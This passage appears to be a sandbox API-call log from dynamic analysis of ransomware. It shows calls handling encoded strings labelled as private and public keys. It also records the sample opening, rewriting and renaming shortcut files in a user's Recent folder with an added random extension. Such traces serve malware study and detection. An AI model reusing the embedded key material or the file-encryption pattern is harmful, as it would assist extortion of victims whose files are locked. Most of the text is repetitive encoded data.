1Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.950] GetCurrentThreadId () returned 0xa30 [0079.950] GetCurrentThreadId () returned 0xa30 [0079.950] GetCurrentThreadId () returned 0xa30 [0079.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.951] GetCurrentThreadId () returned 0xa30 [0079.951] GetCurrentThreadId () returned 0xa30 [0079.951] GetCurrentThreadId () returned 0xa30 [0079.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AQq3p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aqq3p.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.952] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.952] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.952] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x93b [0079.952] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.952] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x93b, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x93b, lpOverlapped=0x0) returned 1 [0079.954] CloseHandle (hObject=0x124) returned 1 [0079.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AQq3p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aqq3p.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.956] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x93b, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x93b, lpOverlapped=0x0) returned 1 [0079.958] CloseHandle (hObject=0x124) returned 1 [0079.964] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AQq3p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aqq3p.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AQq3p.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aqq3p.lnk.zv7un")) returned 1 [0079.965] GetCurrentThreadId () returned 0xa30 [0079.965] GetCurrentThreadId () returned 0xa30 [0079.965] GetCurrentThreadId () returned 0xa30 [0079.966] GetCurrentThreadId () returned 0xa30 [0079.966] GetCurrentThreadId () returned 0xa30 [0079.966] GetCurrentThreadId () returned 0xa30 [0079.966] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6eae60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6eae60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d710fc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="As_s0.lnk", cAlternateFileName="")) returned 1 [0079.966] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.966] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\As_s0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\as_s0.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6eae60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6eae60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d710fc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x22d)) returned 1 [0079.966] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\As_s0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\as_s0.lnk")) returned 0x20 [0079.966] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\As_s0.lnk", dwFileAttributes=0x80) returned 1 [0079.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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